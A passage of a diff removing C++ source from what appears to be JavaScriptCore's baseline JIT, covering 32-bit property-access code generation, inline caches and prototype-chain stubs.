-void JIT::emit_op_method_check(Instruction* currentInstruction)
-{
-    // Assert that the following instruction is a get_by_id.
-    ASSERT(m_interpreter->getOpcodeID((currentInstruction + OPCODE_LENGTH(op_method_check))->u.opcode) == op_get_by_id);
-
-    currentInstruction += OPCODE_LENGTH(op_method_check);
-
-    // Do the method check - check the object & its prototype's structure inline (this is the common case).
-    m_methodCallCompilationInfo.append(MethodCallCompilationInfo(m_propertyAccessInstructionIndex));
-    MethodCallCompilationInfo& info = m_methodCallCompilationInfo.last();
-
-    int dst = currentInstruction[1].u.operand;
-    int base = currentInstruction[2].u.operand;
-
-    emitLoad(base, regT1, regT0);
-    emitJumpSlowCaseIfNotJSCell(base, regT1);
-
-    Jump structureCheck = branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), info.structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
-    DataLabelPtr protoStructureToCompare, protoObj = moveWithPatch(ImmPtr(0), regT2);
-    Jump protoStructureCheck = branchPtrWithPatch(NotEqual, Address(regT2, OBJECT_OFFSETOF(JSCell, m_structure)), protoStructureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
-
-    // This will be relinked to load the function without doing a load.
-    DataLabelPtr putFunction = moveWithPatch(ImmPtr(0), regT0);
-    move(Imm32(JSValue::CellTag), regT1);
-    Jump match = jump();
-
-    ASSERT(differenceBetween(info.structureToCompare, protoObj) == patchOffsetMethodCheckProtoObj);
-    ASSERT(differenceBetween(info.structureToCompare, protoStructureToCompare) == patchOffsetMethodCheckProtoStruct);
-    ASSERT(differenceBetween(info.structureToCompare, putFunction) == patchOffsetMethodCheckPutFunction);
-
-    // Link the failure cases here.
-    structureCheck.link(this);
-    protoStructureCheck.link(this);
-
-    // Do a regular(ish) get_by_id (the slow case will be link to
-    // cti_op_get_by_id_method_check instead of cti_op_get_by_id.
-    compileGetByIdHotPath();
-
-    match.link(this);
-    emitStore(dst, regT1, regT0);
-    map(m_bytecodeIndex + OPCODE_LENGTH(op_method_check), dst, regT1, regT0);
-
-    // We've already generated the following get_by_id, so make sure it's skipped over.
-    m_bytecodeIndex += OPCODE_LENGTH(op_get_by_id);
-}
-
-void JIT::emitSlow_op_method_check(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    currentInstruction += OPCODE_LENGTH(op_method_check);
-
-    int dst = currentInstruction[1].u.operand;
-    int base = currentInstruction[2].u.operand;
-    int ident = currentInstruction[3].u.operand;
-
-    compileGetByIdSlowCase(dst, base, &(m_codeBlock->identifier(ident)), iter, true);
-
-    // We've already generated the following get_by_id, so make sure it's skipped over.
-    m_bytecodeIndex += OPCODE_LENGTH(op_get_by_id);
-}
-
-#else //!ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
-
-// Treat these as nops - the call will be handed as a regular get_by_id/op_call pair.
-void JIT::emit_op_method_check(Instruction*) {}
-void JIT::emitSlow_op_method_check(Instruction*, Vector<SlowCaseEntry>::iterator&) { ASSERT_NOT_REACHED(); }
-
-#endif
-
-void JIT::emit_op_get_by_val(Instruction* currentInstruction)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-    
-    emitLoad2(base, regT1, regT0, property, regT3, regT2);
-
-    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
-    emitJumpSlowCaseIfNotJSCell(base, regT1);
-    addSlowCase(branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr)));
-
-    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT3);
-    addSlowCase(branch32(AboveOrEqual, regT2, Address(regT0, OBJECT_OFFSETOF(JSArray, m_vectorLength))));
-
-    load32(BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4), regT1); // tag
-    load32(BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0])), regT0); // payload
-    addSlowCase(branch32(Equal, regT1, Imm32(JSValue::EmptyValueTag)));
-
-    emitStore(dst, regT1, regT0);
-    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_val), dst, regT1, regT0);
-}
-
-void JIT::emitSlow_op_get_by_val(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-
-    linkSlowCase(iter); // property int32 check
-    linkSlowCaseIfNotJSCell(iter, base); // base cell check
-    linkSlowCase(iter); // base array check
-    linkSlowCase(iter); // vector length check
-    linkSlowCase(iter); // empty value
-
-    JITStubCall stubCall(this, cti_op_get_by_val);
-    stubCall.addArgument(base);
-    stubCall.addArgument(property);
-    stubCall.call(dst);
-}
-
-void JIT::emit_op_put_by_val(Instruction* currentInstruction)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned value = currentInstruction[3].u.operand;
-
-    emitLoad2(base, regT1, regT0, property, regT3, regT2);
-
-    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
-    emitJumpSlowCaseIfNotJSCell(base, regT1);
-    addSlowCase(branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr)));
-    addSlowCase(branch32(AboveOrEqual, regT2, Address(regT0, OBJECT_OFFSETOF(JSArray, m_vectorLength))));
-
-    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT3);
-
-    Jump empty = branch32(Equal, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4), Imm32(JSValue::EmptyValueTag));
-
-    Label storeResult(this);
-    emitLoad(value, regT1, regT0);
-    store32(regT0, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]))); // payload
-    store32(regT1, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4)); // tag
-    Jump end = jump();
-
-    empty.link(this);
-    add32(Imm32(1), Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_numValuesInVector)));
-    branch32(Below, regT2, Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_length))).linkTo(storeResult, this);
-
-    add32(Imm32(1), regT2, regT0);
-    store32(regT0, Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_length)));
-    jump().linkTo(storeResult, this);
-
-    end.link(this);
-}
-
-void JIT::emitSlow_op_put_by_val(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned value = currentInstruction[3].u.operand;
-
-    linkSlowCase(iter); // property int32 check
-    linkSlowCaseIfNotJSCell(iter, base); // base cell check
-    linkSlowCase(iter); // base not array check
-    linkSlowCase(iter); // in vector check
-
-    JITStubCall stubPutByValCall(this, cti_op_put_by_val);
-    stubPutByValCall.addArgument(base);
-    stubPutByValCall.addArgument(property);
-    stubPutByValCall.addArgument(value);
-    stubPutByValCall.call();
-}
-
-void JIT::emit_op_get_by_id(Instruction* currentInstruction)
-{
-    int dst = currentInstruction[1].u.operand;
-    int base = currentInstruction[2].u.operand;
-    
-    emitLoad(base, regT1, regT0);
-    emitJumpSlowCaseIfNotJSCell(base, regT1);
-    compileGetByIdHotPath();
-    emitStore(dst, regT1, regT0);
-    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_id), dst, regT1, regT0);
-}
-
-void JIT::compileGetByIdHotPath()
-{
-    // As for put_by_id, get_by_id requires the offset of the Structure and the offset of the access to be patched.
-    // Additionally, for get_by_id we need patch the offset of the branch to the slow case (we patch this to jump
-    // to array-length / prototype access tranpolines, and finally we also the the property-map access offset as a label
-    // to jump back to if one of these trampolies finds a match.
-    Label hotPathBegin(this);
-    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].hotPathBegin = hotPathBegin;
-    m_propertyAccessInstructionIndex++;
-
-    DataLabelPtr structureToCompare;
-    Jump structureCheck = branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
-    addSlowCase(structureCheck);
-    ASSERT(differenceBetween(hotPathBegin, structureToCompare) == patchOffsetGetByIdStructure);
-    ASSERT(differenceBetween(hotPathBegin, structureCheck) == patchOffsetGetByIdBranchToSlowCase);
-
-    Label externalLoad = loadPtrWithPatchToLEA(Address(regT0, OBJECT_OFFSETOF(JSObject, m_externalStorage)), regT2);
-    Label externalLoadComplete(this);
-    ASSERT(differenceBetween(hotPathBegin, externalLoad) == patchOffsetGetByIdExternalLoad);
-    ASSERT(differenceBetween(externalLoad, externalLoadComplete) == patchLengthGetByIdExternalLoad);
-
-    DataLabel32 displacementLabel1 = loadPtrWithAddressOffsetPatch(Address(regT2, patchGetByIdDefaultOffset), regT0); // payload
-    ASSERT(differenceBetween(hotPathBegin, displacementLabel1) == patchOffsetGetByIdPropertyMapOffset1);
-    DataLabel32 displacementLabel2 = loadPtrWithAddressOffsetPatch(Address(regT2, patchGetByIdDefaultOffset), regT1); // tag
-    ASSERT(differenceBetween(hotPathBegin, displacementLabel2) == patchOffsetGetByIdPropertyMapOffset2);
-
-    Label putResult(this);
-    ASSERT(differenceBetween(hotPathBegin, putResult) == patchOffsetGetByIdPutResult);
-}
-
-void JIT::emitSlow_op_get_by_id(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    int dst = currentInstruction[1].u.operand;
-    int base = currentInstruction[2].u.operand;
-    int ident = currentInstruction[3].u.operand;
-
-    compileGetByIdSlowCase(dst, base, &(m_codeBlock->identifier(ident)), iter);
-}
-
-void JIT::compileGetByIdSlowCase(int dst, int base, Identifier* ident, Vector<SlowCaseEntry>::iterator& iter, bool isMethodCheck)
-{
-    // As for the hot path of get_by_id, above, we ensure that we can use an architecture specific offset
-    // so that we only need track one pointer into the slow case code - we track a pointer to the location
-    // of the call (which we can use to look up the patch information), but should a array-length or
-    // prototype access trampoline fail we want to bail out back to here.  To do so we can subtract back
-    // the distance from the call to the head of the slow case.
-    linkSlowCaseIfNotJSCell(iter, base);
-    linkSlowCase(iter);
-
-    Label coldPathBegin(this);
-
-    JITStubCall stubCall(this, isMethodCheck ? cti_op_get_by_id_method_check : cti_op_get_by_id);
-    stubCall.addArgument(regT1, regT0);
-    stubCall.addArgument(ImmPtr(ident));
-    Call call = stubCall.call(dst);
-
-    ASSERT(differenceBetween(coldPathBegin, call) == patchOffsetGetByIdSlowCaseCall);
-
-    // Track the location of the call; this will be used to recover patch information.
-    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].callReturnLocation = call;
-    m_propertyAccessInstructionIndex++;
-}
-
-void JIT::emit_op_put_by_id(Instruction* currentInstruction)
-{
-    // In order to be able to patch both the Structure, and the object offset, we store one pointer,
-    // to just after the arguments have been loaded into registers 'hotPathBegin', and we generate code
-    // such that the Structure & offset are always at the same distance from this.
-
-    int base = currentInstruction[1].u.operand;
-    int value = currentInstruction[3].u.operand;
-
-    emitLoad2(base, regT1, regT0, value, regT3, regT2);
-
-    emitJumpSlowCaseIfNotJSCell(base, regT1);
-
-    Label hotPathBegin(this);
-    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].hotPathBegin = hotPathBegin;
-    m_propertyAccessInstructionIndex++;
-
-    // It is important that the following instruction plants a 32bit immediate, in order that it can be patched over.
-    DataLabelPtr structureToCompare;
-    addSlowCase(branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure))));
-    ASSERT(differenceBetween(hotPathBegin, structureToCompare) == patchOffsetPutByIdStructure);
-
-    // Plant a load from a bogus ofset in the object's property map; we will patch this later, if it is to be used.
-    Label externalLoad = loadPtrWithPatchToLEA(Address(regT0, OBJECT_OFFSETOF(JSObject, m_externalStorage)), regT0);
-    Label externalLoadComplete(this);
-    ASSERT(differenceBetween(hotPathBegin, externalLoad) == patchOffsetPutByIdExternalLoad);
-    ASSERT(differenceBetween(externalLoad, externalLoadComplete) == patchLengthPutByIdExternalLoad);
-
-    DataLabel32 displacementLabel1 = storePtrWithAddressOffsetPatch(regT2, Address(regT0, patchGetByIdDefaultOffset)); // payload
-    DataLabel32 displacementLabel2 = storePtrWithAddressOffsetPatch(regT3, Address(regT0, patchGetByIdDefaultOffset)); // tag
-    ASSERT(differenceBetween(hotPathBegin, displacementLabel1) == patchOffsetPutByIdPropertyMapOffset1);
-    ASSERT(differenceBetween(hotPathBegin, displacementLabel2) == patchOffsetPutByIdPropertyMapOffset2);
-}
-
-void JIT::emitSlow_op_put_by_id(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    int base = currentInstruction[1].u.operand;
-    int ident = currentInstruction[2].u.operand;
-
-    linkSlowCaseIfNotJSCell(iter, base);
-    linkSlowCase(iter);
-
-    JITStubCall stubCall(this, cti_op_put_by_id);
-    stubCall.addArgument(regT1, regT0);
-    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
-    stubCall.addArgument(regT3, regT2); 
-    Call call = stubCall.call();
-
-    // Track the location of the call; this will be used to recover patch information.
-    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].callReturnLocation = call;
-    m_propertyAccessInstructionIndex++;
-}
-
-// Compile a store into an object's property storage.  May overwrite base.
-void JIT::compilePutDirectOffset(RegisterID base, RegisterID valueTag, RegisterID valuePayload, Structure* structure, size_t cachedOffset)
-{
-    int offset = cachedOffset;
-    if (structure->isUsingInlineStorage())
-        offset += OBJECT_OFFSETOF(JSObject, m_inlineStorage) /  sizeof(Register);
-    else
-        loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
-    emitStore(offset, valueTag, valuePayload, base);
-}
-
-// Compile a load from an object's property storage.  May overwrite base.
-void JIT::compileGetDirectOffset(RegisterID base, RegisterID resultTag, RegisterID resultPayload, Structure* structure, size_t cachedOffset)
-{
-    int offset = cachedOffset;
-    if (structure->isUsingInlineStorage())
-        offset += OBJECT_OFFSETOF(JSObject, m_inlineStorage) / sizeof(Register);
-    else
-        loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
-    emitLoad(offset, resultTag, resultPayload, base);
-}
-
-void JIT::compileGetDirectOffset(JSObject* base, RegisterID temp, RegisterID resultTag, RegisterID resultPayload, size_t cachedOffset)
-{
-    if (base->isUsingInlineStorage()) {
-        load32(reinterpret_cast<char*>(&base->m_inlineStorage[cachedOffset]), resultPayload);
-        load32(reinterpret_cast<char*>(&base->m_inlineStorage[cachedOffset]) + 4, resultTag);
-        return;
-    }
-
-    size_t offset = cachedOffset * sizeof(JSValue);
-
-    PropertyStorage* protoPropertyStorage = &base->m_externalStorage;
-    loadPtr(static_cast<void*>(protoPropertyStorage), temp);
-    load32(Address(temp, offset), resultPayload);
-    load32(Address(temp, offset + 4), resultTag);
-}
-
-void JIT::testPrototype(Structure* structure, JumpList& failureCases)
-{
-    if (structure->m_prototype.isNull())
-        return;
-
-    failureCases.append(branchPtr(NotEqual, AbsoluteAddress(&asCell(structure->m_prototype)->m_structure), ImmPtr(asCell(structure->m_prototype)->m_structure)));
-}
-
-void JIT::privateCompilePutByIdTransition(StructureStubInfo* stubInfo, Structure* oldStructure, Structure* newStructure, size_t cachedOffset, StructureChain* chain, ReturnAddressPtr returnAddress)
-{
-    // It is assumed that regT0 contains the basePayload and regT1 contains the baseTag.  The value can be found on the stack.
-
-    JumpList failureCases;
-    failureCases.append(branch32(NotEqual, regT1, Imm32(JSValue::CellTag)));
-    failureCases.append(branchPtr(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), ImmPtr(oldStructure)));
-    testPrototype(oldStructure, failureCases);
-
-    // Verify that nothing in the prototype chain has a setter for this property. 
-    for (RefPtr<Structure>* it = chain->head(); *it; ++it)
-        testPrototype(it->get(), failureCases);
-
-    // Reallocate property storage if needed.
-    Call callTarget;
-    bool willNeedStorageRealloc = oldStructure->propertyStorageCapacity() != newStructure->propertyStorageCapacity();
-    if (willNeedStorageRealloc) {
-        // This trampoline was called to like a JIT stub; before we can can call again we need to
-        // remove the return address from the stack, to prevent the stack from becoming misaligned.
-        preserveReturnAddressAfterCall(regT3);
- 
-        JITStubCall stubCall(this, cti_op_put_by_id_transition_realloc);
-        stubCall.skipArgument(); // base
-        stubCall.skipArgument(); // ident
-        stubCall.skipArgument(); // value
-        stubCall.addArgument(Imm32(oldStructure->propertyStorageCapacity()));
-        stubCall.addArgument(Imm32(newStructure->propertyStorageCapacity()));
-        stubCall.call(regT0);
-
-        restoreReturnAddressBeforeReturn(regT3);
-    }
-
-    sub32(Imm32(1), AbsoluteAddress(oldStructure->addressOfCount()));
-    add32(Imm32(1), AbsoluteAddress(newStructure->addressOfCount()));
-    storePtr(ImmPtr(newStructure), Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)));
- 
-    load32(Address(stackPointerRegister, offsetof(struct JITStackFrame, args[2]) + sizeof(void*)), regT3);
-    load32(Address(stackPointerRegister, offsetof(struct JITStackFrame, args[2]) + sizeof(void*) + 4), regT2);
-
-    // Write the value
-    compilePutDirectOffset(regT0, regT2, regT3, newStructure, cachedOffset);
-
-    ret();
-    
-    ASSERT(!failureCases.empty());
-    failureCases.link(this);
-    restoreArgumentReferenceForTrampoline();
-    Call failureCall = tailRecursiveCall();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    patchBuffer.link(failureCall, FunctionPtr(cti_op_put_by_id_fail));
-
-    if (willNeedStorageRealloc) {
-        ASSERT(m_calls.size() == 1);
-        patchBuffer.link(m_calls[0].from, FunctionPtr(cti_op_put_by_id_transition_realloc));
-    }
-    
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-    stubInfo->stubRoutine = entryLabel;
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relinkCallerToTrampoline(returnAddress, entryLabel);
-}
-
-void JIT::patchGetByIdSelf(CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, size_t cachedOffset, ReturnAddressPtr returnAddress)
-{
-    RepatchBuffer repatchBuffer(codeBlock);
-
-    // We don't want to patch more than once - in future go to cti_op_get_by_id_generic.
-    // Should probably go to JITStubs::cti_op_get_by_id_fail, but that doesn't do anything interesting right now.
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_self_fail));
-
-    int offset = sizeof(JSValue) * cachedOffset;
-
-    // If we're patching to use inline storage, convert the initial load to a lea; this avoids the extra load
-    // and makes the subsequent load's offset automatically correct
-    if (structure->isUsingInlineStorage())
-        repatchBuffer.repatchLoadPtrToLEA(stubInfo->hotPathBegin.instructionAtOffset(patchOffsetGetByIdExternalLoad));
-
-    // Patch the offset into the propoerty map to load from, then patch the Structure to look for.
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabelPtrAtOffset(patchOffsetGetByIdStructure), structure);
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetGetByIdPropertyMapOffset1), offset); // payload
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetGetByIdPropertyMapOffset2), offset + 4); // tag
-}
-
-void JIT::patchMethodCallProto(CodeBlock* codeBlock, MethodCallLinkInfo& methodCallLinkInfo, JSFunction* callee, Structure* structure, JSObject* proto, ReturnAddressPtr returnAddress)
-{
-    RepatchBuffer repatchBuffer(codeBlock);
-
-    ASSERT(!methodCallLinkInfo.cachedStructure);
-    methodCallLinkInfo.cachedStructure = structure;
-    structure->ref();
-
-    Structure* prototypeStructure = proto->structure();
-    ASSERT(!methodCallLinkInfo.cachedPrototypeStructure);
-    methodCallLinkInfo.cachedPrototypeStructure = prototypeStructure;
-    prototypeStructure->ref();
-
-    repatchBuffer.repatch(methodCallLinkInfo.structureLabel, structure);
-    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckProtoObj), proto);
-    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckProtoStruct), prototypeStructure);
-    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckPutFunction), callee);
-
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id));
-}
-
-void JIT::patchPutByIdReplace(CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, size_t cachedOffset, ReturnAddressPtr returnAddress)
-{
-    RepatchBuffer repatchBuffer(codeBlock);
-
-    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
-    // Should probably go to cti_op_put_by_id_fail, but that doesn't do anything interesting right now.
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_put_by_id_generic));
-
-    int offset = sizeof(JSValue) * cachedOffset;
-
-    // If we're patching to use inline storage, convert the initial load to a lea; this avoids the extra load
-    // and makes the subsequent load's offset automatically correct
-    if (structure->isUsingInlineStorage())
-        repatchBuffer.repatchLoadPtrToLEA(stubInfo->hotPathBegin.instructionAtOffset(patchOffsetPutByIdExternalLoad));
-
-    // Patch the offset into the propoerty map to load from, then patch the Structure to look for.
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabelPtrAtOffset(patchOffsetPutByIdStructure), structure);
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetPutByIdPropertyMapOffset1), offset); // payload
-    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetPutByIdPropertyMapOffset2), offset + 4); // tag
-}
-
-void JIT::privateCompilePatchGetArrayLength(ReturnAddressPtr returnAddress)
-{
-    StructureStubInfo* stubInfo = &m_codeBlock->getStubInfo(returnAddress);
-    
-    // regT0 holds a JSCell*
-
-    // Check for array
-    Jump failureCases1 = branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr));
-
-    // Checks out okay! - get the length from the storage
-    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT2);
-    load32(Address(regT2, OBJECT_OFFSETOF(ArrayStorage, m_length)), regT2);
-
-    Jump failureCases2 = branch32(Above, regT2, Imm32(INT_MAX));
-    move(regT2, regT0);
-    move(Imm32(JSValue::Int32Tag), regT1);
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    CodeLocationLabel slowCaseBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
-    patchBuffer.link(failureCases1, slowCaseBegin);
-    patchBuffer.link(failureCases2, slowCaseBegin);
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    // Track the stub we have created so that it will be deleted later.
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-    stubInfo->stubRoutine = entryLabel;
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-
-    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_array_fail));
-}
-
-void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
-{
-    // regT0 holds a JSCell*
-
-    // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
-    // referencing the prototype object - let's speculatively load it's table nice and early!)
-    JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
-
-    Jump failureCases1 = checkStructure(regT0, structure);
-
-    // Check the prototype object's Structure had not changed.
-    Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
-    move(ImmPtr(prototypeStructure), regT3);
-    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
-#else
-    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
-#endif
-
-    // Checks out okay! - getDirectOffset
-    compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
-
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    CodeLocationLabel slowCaseBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
-    patchBuffer.link(failureCases1, slowCaseBegin);
-    patchBuffer.link(failureCases2, slowCaseBegin);
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    // Track the stub we have created so that it will be deleted later.
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-    stubInfo->stubRoutine = entryLabel;
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-
-    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
-    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_proto_list));
-}
-
-
-void JIT::privateCompileGetByIdSelfList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, size_t cachedOffset)
-{
-    // regT0 holds a JSCell*
-    
-    Jump failureCase = checkStructure(regT0, structure);
-    compileGetDirectOffset(regT0, regT1, regT0, structure, cachedOffset);
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    CodeLocationLabel lastProtoBegin = polymorphicStructures->list[currentIndex - 1].stubRoutine;
-    if (!lastProtoBegin)
-        lastProtoBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
-
-    patchBuffer.link(failureCase, lastProtoBegin);
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-
-    structure->ref();
-    polymorphicStructures->list[currentIndex].set(entryLabel, structure);
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-}
-
-void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, Structure* prototypeStructure, size_t cachedOffset, CallFrame* callFrame)
-{
-    // regT0 holds a JSCell*
-    
-    // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
-    // referencing the prototype object - let's speculatively load it's table nice and early!)
-    JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
-
-    // Check eax is an object of the right Structure.
-    Jump failureCases1 = checkStructure(regT0, structure);
-
-    // Check the prototype object's Structure had not changed.
-    Structure** prototypeStructureAddress = &(protoObject->m_structure);
-#if PLATFORM(X86_64)
-    move(ImmPtr(prototypeStructure), regT3);
-    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
-#else
-    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
-#endif
-
-    compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
-
-    Jump success = jump();
-
-    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
-
-    // Use the patch information to link the failure cases back to the original slow case routine.
-    CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
-    patchBuffer.link(failureCases1, lastProtoBegin);
-    patchBuffer.link(failureCases2, lastProtoBegin);
-
-    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
-    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
-
-    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
-
-    structure->ref();
-    prototypeStructure->ref();
-    prototypeStructures->list[currentIndex].set(entryLabel, structure, prototypeStructure);
-
-    // Finally patch the jump to slow case back in the hot path to jump here instead.
-    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
-    RepatchBuffer repatchBuffer(m_codeBlock);
-    repatchBuffer.relink(jumpLocation, entryLabel);
-}
-
